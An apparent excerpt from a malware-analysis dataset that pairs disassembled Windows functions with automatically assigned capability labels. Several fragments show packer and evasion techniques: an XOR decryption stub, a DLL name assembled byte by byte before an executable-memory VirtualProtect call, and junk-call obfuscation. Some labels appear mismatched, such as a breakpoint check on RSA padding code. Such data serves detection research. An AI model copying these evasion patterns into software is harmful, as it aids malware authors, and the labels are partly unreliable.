joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5c4cd9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x5c4cfb
cmp dword [edi + 0x3c], 0
jne 0x5c4cfb
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.005da196
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.005c4d28
pop edi
pop esi
pop ebx
ret 8

Function at 0x5c4d76
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
xor edi, edi
call fcn.005da196
mov esi, dword [eax + 0xc]
push 5
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x5c4da7
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push esi
mov ecx, ebx
push dword [esp + 0x18]
push edi
call fcn.005c4dba
pop edi
pop esi
pop ebx
ret 8

Function at 0x5c63d3
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x5c640b
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.005c3d36
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.005c3d0e
jmp 0x5c6417
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x5c7f68
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x5c7faa
call fcn.005da196
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x5c7faa
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x5c7fa1
xor eax, eax
jmp 0x5c7fb2
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.005c7fb8
pop edi
pop esi
pop ebx
ret 4

Function at 0x5d894d
Capabilities:
Create http request

Disassembly:
mov eax, 0x5fd170
call fcn.004af3f0
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp + 0xc]
and dword [ebp - 4], 0
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x5d8985
call fcn.005da196
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esi + 8], eax
jne 0x5d89aa
push eax
push dword [esi + 4]
call fcn.005d97dc
jmp 0x5d89b6
push esi
push eax
mov ecx, 0x1d5ab50
call fcn.005d89c7
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 0x18
Function at 0x5d8cc3
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap flags

Disassembly:
mov eax, 0x5fd087
call fcn.004af3f0
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.005ca911
mov eax, dword [ebp + 0x18]
lea ebx, [esi + 0x24]
mov dword [esi + 0x1c], eax
mov eax, dword [0x1cfde58]
xor edi, edi
mov dword [ebx], eax
mov dword [ebp - 4], edi
push dword [ebp + 0x10]
lea ecx, [esi + 0xc]
mov byte [ebp - 4], 1
mov dword [esi], vtable.CInternetFile.0
call fcn.005c3a18
push dword [ebp + 0x14]
mov ecx, ebx
call fcn.005c3a18
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x1c]
mov dword [esi + 0x18], eax
mov dword [esi + 0x3c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x40], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x18

Function at 0x5da6c6
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x5da6f4
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x5da712
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.005da62c
jmp 0x5da712
mov eax, dword [esi + 0x14]
test eax, eax
je 0x5da712
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.005da62c
test edi, edi
mov eax, edi
jne 0x5da6fc
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x40891e
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop eax
call fcn.00408955
sub esp, 4
mov dword [esp], 0x4ed0856
pop ecx
xor dword [ebx], eax
add ecx, ecx
add ecx, ecx
add ebx, 1
or ecx, ecx
cmp ebx, esi
jne fcn.0040891e
sub edx, 0x2f306f79
ret
Function at 0x408e80
Capabilities:
Enumerate gui resources

Disassembly:
sub esp, 0x828
cmp dword [0x4e04a4], 0x13f7
mov eax, dword [esp + 0x82c]
push ebx
mov ebx, dword [esp + 0x834]
push ebp
push esi
mov esi, dword [eax + 4]
push edi
mov edi, dword [eax]
mov eax, dword [ebx]
mov ebp, 0xc6ef3720
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x24], eax
jne 0x408ed2
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
cmp dword [0x4e04a4], 0x60b
mov ecx, dword [ebx + 4]
mov edx, dword [ebx + 8]
mov eax, dword [ebx + 0xc]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], edx
mov dword [esp + 0x20], eax
jne 0x408f20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push 0
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x40]
push ecx
lea edx, [esp + 0x48]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov dword [esp + 0x18], 0x20
jmp 0x408f34
mov ebp, dword [esp + 0x1c]
mov ecx, dword [esp + 0x2c]
mov eax, edi
push ecx
shl eax, 4
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], eax
call fcn.00408e30
mov eax, edi
shr eax, 5
add eax, dword [esp + 0x20]
cmp dword [0x4e04a4], 0x1b
lea ebx, [edi + ebp]
mov dword [esp + 0x10], eax
mov dword [0x4c3904], 0xffcf03fc
jne 0x408f9d
push 0
push 0
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push 0x401330
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov eax, dword [esp + 0x10]
xor eax, ebx
xor eax, dword [esp + 0x14]
mov dword [0x4c3904], 0
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
add dword [0x4c3904], eax
sub esi, dword [esp + 0x10]
mov dword [0x4c3908], 0xc5e121b4
mov ecx, esi
shr ecx, 5
mov dword [0x4c390c], 0xffffffff
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x28]
add dword [esp + 0x10], eax
mov eax, esi
shl eax, 4
add eax, dword [esp + 0x24]
add ebp, esi
xor eax, ebp
xor eax, dword [esp + 0x10]
push 0x9e3779b9
lea edx, [esp + 0x20]
push edx
sub edi, eax
call fcn.00407ff0
sub dword [esp + 0x18], 1
jne 0x408f30
mov eax, dword [esp + 0x83c]
mov dword [eax], edi
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
pop ebx
add esp, 0x828
ret 8
Function at 0x409030
Capabilities:
Copy file
Manipulate console buffer
Terminate process

Disassembly:
sub esp, 0xea4
cmp dword [0x4e04a4], 0x516
jne 0x409088
push 0
lea eax, [esp + 0x6a8]
push eax
push 0
call sub.KERNEL32.dll_VerLanguageNameW
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
xor edx, edx
xor ecx, ecx
mov word [esp + 2], dx
lea eax, [esp + 0xc]
push eax
mov word [esp + 4], cx
mov ecx, dword [esp + 4]
push ecx
push edx
lea edx, [esp + 0x2b0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov eax, dword [esp + 0xeac]
shr eax, 3
test eax, eax
jbe 0x4091c2
mov ecx, dword [esp + 0xea8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_FreeResource]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp dword [0x4e04a4], 0x29
jne 0x4090fa
lea edx, [esp + 0x28]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
lea eax, [esp + 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
cmp dword [0x4e04a4], 0xe1b
jne 0x40911e
lea ecx, [esp + 0x174]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
cmp dword [0x4e04a4], 0x1c
jne 0x40916f
push 0
call esi
push 0
push 0
push 0
lea edx, [esp + 0x50]
push edx
call edi
lea eax, [esp + 0xe0]
push eax
call ebx
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x34]
push ecx
mov dword [esp + 0x38], 0
call dword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
mov edx, dword [esp + 0xec0]
mov eax, dword [esp + 0x10]
push edx
push eax
call fcn.00408e80
cmp dword [0x4e04a4], 0x4fa
jne 0x4091ae
xor edx, edx
xor ecx, ecx
lea eax, [esp + 0x20]
push eax
mov word [esp + 0x18], cx
mov word [esp + 0x1a], dx
mov ecx, dword [esp + 0x18]
push ecx
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
add dword [esp + 0x10], 8
sub dword [esp + 0x18], 1
jne 0x4090c5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xea4
ret 0xc
Function at 0x4091d0
Capabilities:
Connect pipe
Extract resource via kernel32 functions
Get disk information
Manipulate console buffer
Read pipe
Write pipe

Disassembly:
sub esp, 0x438
cmp dword [0x4e04a4], 0x37
jne 0x4092a4
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0x20]
push ecx
push 0x401364
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
lea eax, [esp + 0x3c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
mov dword [esp], 0
mov eax, dword [0x4e04a8]
add dword [esp], eax
mov eax, 0x38d6
add dword [esp], eax
mov ecx, dword [esp]
mov eax, dword [esp + 0x43c]
mov dl, byte [ecx + eax]
mov ecx, dword [0x4c3900]
mov byte [ecx + eax], dl
add esp, 0x438
ret 4

Function at 0x409310
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov al, 0x65
mov cl, 0x6c
push 0x4b9248
mov byte [0x4b9249], al
mov byte [0x4b924a], 0x72
mov byte [0x4b9250], 0x2e
mov byte [0x4b9251], 0x64
mov byte [0x4b9252], cl
mov byte [0x4b9254], 0
mov byte [0x4b924c], al
mov byte [0x4b924d], cl
mov byte [0x4b924e], 0x33
mov byte [0x4b924f], 0x32
mov byte [0x4b9253], al
mov byte [0x4b924b], 0x6e
mov byte [0x4b9248], 0x6b
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x4e04a4]
mov edx, dword [0x4c3900]
mov dword [0x4dfb3c], eax
lea eax, [esp]
push eax
push 0x40
push ecx
push edx
mov byte [0x4b9256], 0
mov byte [0x4b924f], 0x50
mov byte [0x4b924d], 0x61
mov byte [0x4b9248], 0x60
mov byte [0x4b9250], 0x7c
mov byte [0x4b9251], 0x6f
mov byte [0x4b9255], 0x74
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret
Function at 0x40a4f0
Capabilities:
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x40a513
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x40a51a
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x40a531
mov edx, dword [ebp - 4]
push edx
call fcn.004105a0
add esp, 4
or eax, 0xffffffff
jmp 0x40a533
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x40a790
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40a7af
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x40a7b6
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x40a7cd
mov ecx, dword [ebp - 4]
push ecx
call fcn.004105a0
add esp, 4
or eax, 0xffffffff
jmp 0x40a7cf
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x414d00
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4b8404]
jne 0x414d0a
repz ret
jmp fcn.0041ade0
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x367b4aae
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x432024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f314
nop
nop
mov ecx, 0x166261d9
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x1005d567
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.1039fcd0
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, dword [edi]
mov eax, 0x1000
cmp esi, eax
jge 0x1005d5bc
test esi, esi
jl 0x1005d5bc
push eax
lea eax, [ebp - 0x1000]
push 0
push eax
call fcn.103a1db0
push esi
add edi, 4
lea eax, [ebp - 0x1000]
push edi
push eax
call fcn.103a1a70
lea eax, [esi - 2]
add esp, 0x18
test eax, eax
jl 0x1005d599
mov cl, byte [ebp + eax - 0xfff]
xor byte [ebp + eax - 0x1000], cl
dec eax
jns 0x1005d588
lea eax, [esi + 1]
cmp eax, dword [ebp + 0x10]
jle 0x1005d5a4
mov eax, dword [ebp + 0x10]
push eax
lea eax, [ebp - 0x1000]
push eax
push dword [ebp + 0xc]
call fcn.103a1a70
mov eax, dword [ebp + 0xc]
add esp, 0xc
jmp 0x1005d5be
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x100a8960
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x104
call fcn.1039fcd0
push esi
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
test eax, eax
je 0x100a89a5
push eax
call dword [sym.imp.KERNEL32.dll_GetFileType]
test eax, eax
je 0x100a89a5
mov ecx, dword [ebp + 8]
lea eax, [ebp + 0xc]
push eax
push ecx
push 0x10485fa0
call fcn.103a2987
add esp, 0xc
lea esp, [ebp - 0x108]
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
push edx
push eax
lea ecx, [ebp - 0x104]
push 0xff
push ecx
call fcn.103a2931
add esp, 0x10
mov byte [ebp - 5], 0
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x100a8a1e
call fcn.100a88a0
test eax, eax
je 0x100a8a1e
push str.OPENSSL
push 0
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
push 0
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0
push 1
push 0
push 0
push 0
push 1
lea edx, [ebp - 0x104]
push esi
mov dword [ebp - 4], edx
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
push esi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
lea esp, [ebp - 0x108]
pop esi
mov esp, ebp
pop ebp
ret
push 0x10
push str.OpenSSL:_FATAL
lea ecx, [ebp - 0x104]
push ecx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea esp, [ebp - 0x108]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100b0ba0
Capabilities:
Check if file exists

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
push edi
push esi
push ebx
call fcn.103a1490
mov edi, eax
add esp, 8
test edi, edi
jne 0x100b0c36
push 0x7e
push str..crypto_bio_bss_file.c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 1
push 2
call fcn.100a52c0
push 0x10406a18
push esi
push 0x10406a14
push ebx
push str.fopen_
push 5
call fcn.100a4ea0
add esp, 0x2c
call fcn.103a0bd4
cmp dword [eax], 2
jne 0x100b0c18
push 0x81
push str..crypto_bio_bss_file.c
push 0x80
push 0x6d
push 0x20
call fcn.100a52c0
add esp, 0x14
pop edi
pop esi
xor eax, eax
pop ebx
ret
push 0x83
push str..crypto_bio_bss_file.c
push 2
push 0x6d
push 0x20
call fcn.100a52c0
add esp, 0x14
pop edi
pop esi
xor eax, eax
pop ebx
ret
push 0x1044e980
call fcn.100a3f90
mov esi, eax
add esp, 4
test esi, esi
jne 0x100b0c58
push edi
call fcn.103a13e3
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
ret
push 0
push esi
call fcn.100a3a50
push edi
push 1
push 0x6a
push esi
call fcn.100a3d80
add esp, 0x18
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x100b12b0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
xor esi, esi
test edi, edi
je 0x100b1313
mov al, byte [edi]
test al, al
je 0x100b1313
push ebx
push ebp
mov ebx, 0x100
lea esp, [esp]
movsx eax, al
or eax, ebx
mov edx, eax
shr edx, 2
xor edx, eax
and edx, 0xf
mov ecx, 0x20
sub ecx, edx
mov ebp, esi
shr ebp, cl
mov ecx, edx
shl esi, cl
mov ecx, eax
imul ecx, eax
mov al, byte [edi + 1]
or ebp, esi
xor ebp, ecx
add ebx, 0x100
inc edi
test al, al
mov esi, ebp
jne 0x100b12d0
pop ebp
mov eax, esi
pop ebx
shr eax, 0x10
pop edi
xor eax, esi
pop esi
ret
pop edi
xor eax, eax
pop esi
ret
Function at 0x100b6360
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x18
call fcn.1039fcd0
push esi
mov esi, dword [esp + 0x24]
dec esi
push edi
mov edi, dword [esp + 0x30]
lea eax, [esi - 0x29]
cmp edi, eax
jle 0x100b6399
push 0x2d
push str..crypto_rsa_rsa_oaep.c
push 0x6e
push 0x79
push 4
call fcn.100a52c0
add esp, 0x14
pop edi
xor eax, eax
pop esi
add esp, 0x18
ret
cmp esi, 0x29
jge 0x100b63bb
push 0x33
push str..crypto_rsa_rsa_oaep.c
push 0x78
push 0x79
push 4
call fcn.100a52c0
add esp, 0x14
pop edi
xor eax, eax
pop esi
add esp, 0x18
ret
push 0x37
lea eax, [esi - 0x14]
push str..crypto_rsa_rsa_oaep.c
push eax
mov dword [esp + 0x14], eax
call fcn.100a77c0
add esp, 0xc
test eax, eax
mov dword [esp + 0x28], eax
jne 0x100b63f7
push 0x3a
push str..crypto_rsa_rsa_oaep.c
push 0x41
push 0x79
push 4
call fcn.100a52c0
add esp, 0x14
pop edi
xor eax, eax
pop esi
add esp, 0x18
ret
push ebx
push ebp
mov ebp, dword [esp + 0x2c]
mov byte [ebp], 0
lea ebx, [ebp + 1]
push 0
add ebp, 0x15
call fcn.100c2980
mov ecx, dword [esp + 0x44]
mov edx, dword [esp + 0x40]
push eax
push 0
push ebp
push ecx
push edx
call fcn.100c28d0
mov ecx, esi
sub ecx, edi
sub ecx, 0x29
mov edx, ecx
shr ecx, 2
xor eax, eax
lea edi, [ebp + 0x14]
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [esp + 0x50]
mov eax, ebp
sub eax, ecx
add eax, esi
mov esi, dword [esp + 0x4c]
mov edx, ecx
shr ecx, 2
mov byte [eax - 0x15], 1
lea edi, [eax - 0x14]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0x14
push ebx
rep movsb byte es:[edi], byte [esi]
call fcn.100aa7d0
add esp, 0x20
test eax, eax
jg 0x100b6477
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x18
ret
call fcn.100c2980
mov esi, dword [esp + 0x10]
mov edi, dword [esp + 0x30]
push eax
push 0x14
push ebx
push esi
push edi
call fcn.100b6240
add esp, 0x14
test esi, esi
jle 0x100b64a9
mov eax, ebp
sub edi, ebp
mov ecx, esi
lea esp, [esp]
mov dl, byte [edi + eax]
xor byte [eax], dl
inc eax
dec ecx
jne 0x100b64a0
call fcn.100c2980
push eax
push esi
push ebp
lea eax, [esp + 0x20]
push 0x14
push eax
call fcn.100b6240
lea ecx, [esp + 0x28]
lea esi, [esp + 0x29]
lea ebp, [esp + 0x2a]
lea edi, [esp + 0x2b]
lea edx, [esp + 0x2c]
add esp, 0x14
sub ecx, ebx
sub esi, ebx
sub ebp, ebx
sub edi, ebx
mov eax, ebx
sub edx, ebx
mov dword [esp + 0x38], 4
mov bl, byte [ecx + eax]
xor byte [eax], bl
mov bl, byte [esi + eax]
xor byte [eax + 1], bl
mov bl, byte [eax + ebp]
xor byte [eax + 2], bl
mov bl, byte [edi + eax]
xor byte [eax + 3], bl
mov bl, byte [edx + eax]
xor byte [eax + 4], bl
mov ebx, dword [esp + 0x38]
add eax, 5
dec ebx
mov dword [esp + 0x38], ebx
jne 0x100b64e8
mov ecx, dword [esp + 0x30]
push ecx
call fcn.100a7980
add esp, 4
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x18
ret
Function at 0x100b6b20
Capabilities:
Check for software breakpoints

Disassembly:
mov edx, dword [esp + 0x10]
cmp dword [esp + 0x14], edx
jne 0x100b6bd7
mov ecx, dword [esp + 0xc]
mov al, byte [ecx]
cmp al, 0x6a
je 0x100b6b40
cmp al, 0x6b
jne 0x100b6bd7
cmp al, 0x6b
push esi
lea esi, [ecx + 1]
jne 0x100b6b93
lea eax, [edx - 3]
xor edx, edx
test eax, eax
jle 0x100b6b63
mov cl, byte [esi]
inc esi
cmp cl, 0xba
je 0x100b6b63
cmp cl, 0xbb
jne 0x100b6b70
inc edx
cmp edx, eax
jl 0x100b6b51
sub eax, edx
test edx, edx
jne 0x100b6b96
push 0x8a
jmp 0x100b6b75
push 0x81
push str..crypto_rsa_rsa_x931.c
push 0x8a
push 0x80
push 4
call fcn.100a52c0
add esp, 0x14
or eax, 0xffffffff
pop esi
ret
lea eax, [edx - 2]
cmp byte [eax + esi], 0xcc
je 0x100b6bbf
push 0x93
push str..crypto_rsa_rsa_x931.c
push 0x8b
push 0x80
push 4
call fcn.100a52c0
add esp, 0x14
or eax, 0xffffffff
pop esi
ret
push edi
mov edi, dword [esp + 0xc]
mov ecx, eax
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret
push 0x72
push str..crypto_rsa_rsa_x931.c
push 0x89
push 0x80
push 4
call fcn.100a52c0
add esp, 0x14
or eax, 0xffffffff
ret
Function at 0x100c97e0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [eax + 4]
push ebx
mov ebx, dword [esp + 0x10]
cmp ecx, dword [ebx + 4]
push esi
push edi
jge 0x100c97f9
mov esi, ebx
mov ebx, eax
jmp 0x100c97fb
mov esi, eax
mov edi, dword [esp + 0x10]
mov eax, dword [esi + 4]
cmp eax, dword [edi + 8]
jle 0x100c9811
push eax
push edi
call fcn.100a80d0
add esp, 8
mov ecx, dword [ebx + 4]
xor eax, eax
test ecx, ecx
jle 0x100c983a
push ebp
jmp 0x100c9820
mov ecx, dword [ebx]
mov ebp, dword [ecx + eax*4]
mov edx, dword [esi]
mov edx, dword [edx + eax*4]
mov ecx, dword [edi]
xor edx, ebp
mov dword [ecx + eax*4], edx
mov ecx, dword [ebx + 4]
inc eax
cmp eax, ecx
jl 0x100c9820
pop ebp
cmp eax, dword [esi + 4]
jge 0x100c9852
nop
mov edx, dword [esi]
mov ecx, dword [edi]
mov edx, dword [edx + eax*4]
mov dword [ecx + eax*4], edx
mov ecx, dword [esi + 4]
inc eax
cmp eax, ecx
jl 0x100c9840
mov esi, dword [esi + 4]
test esi, esi
mov dword [edi + 4], esi
jle 0x100c9878
mov eax, dword [edi]
lea eax, [eax + esi*4 - 4]
mov ecx, dword [eax]
sub eax, 4
test ecx, ecx
jne 0x100c9878
mov edx, dword [edi + 4]
dec edx
mov ecx, edx
test ecx, ecx
mov dword [edi + 4], edx
jg 0x100c9862
pop edi
pop esi
mov eax, 1
pop ebx
ret
Function at 0x1028f686
Capabilities:
Delete directory

Disassembly:
add dword [esp], 0x3e
push dword [esp]
sub dword [esp], 0x3c
push esi
mov esi, dword [esp + 4]
nop
xchg dword [esp], esi
mov eax, eax
xchg dword [esp], eax
mov eax, dword [eax]
sub eax, 0x57
xchg dword [esp], eax
shr edi, 0
mov dword [esp + 4], 0x8a0004c2
jmp 0x1028f6a4
ret 4